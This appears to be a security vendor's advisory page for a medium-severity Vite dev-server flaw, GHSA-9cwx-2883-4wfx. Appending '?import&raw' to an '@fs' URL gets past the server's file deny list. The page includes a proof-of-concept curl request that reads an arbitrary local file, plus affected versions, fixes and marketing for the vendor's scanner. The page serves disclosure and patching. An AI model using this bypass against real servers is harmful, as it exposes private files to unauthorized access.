GHSA-9cwx-2883-4wfx
MEDIUMGHSA-9cwx-2883-4wfx is a medium-severity (CVSS 5.3) Information Exposure vulnerability in vite. O3 Security confirms whether GHSA-9cwx-2883-4wfx is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Vite's `server.fs.deny` is bypassed when using `?import&raw`
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
vitenpmDescription
Summary
The contents of arbitrary files can be returned to the browser.
Details
@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vite | ≥ 5.4.0&&< 5.4.6 | 5.4.6 |
| 📦npm | vite | ≥ 5.3.0&&< 5.3.6 | 5.3.6 |
| 📦npm | vite | ≥ 5.2.0&&< 5.2.14 | 5.2.14 |
| 📦npm | vite | ≥ 4.0.0&&< 4.5.4 | 4.5.4 |
| 📦npm | vite | all versions | 3.2.11 |
| 📦npm | vite | ≥ 5.0.0&&< 5.1.8 | 5.1.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vite. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update vite to 5.4.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9cwx-2883-4wfx is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9cwx-2883-4wfx is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9cwx-2883-4wfx. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9cwx-2883-4wfx in your dependencies?
O3 detects GHSA-9cwx-2883-4wfx across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.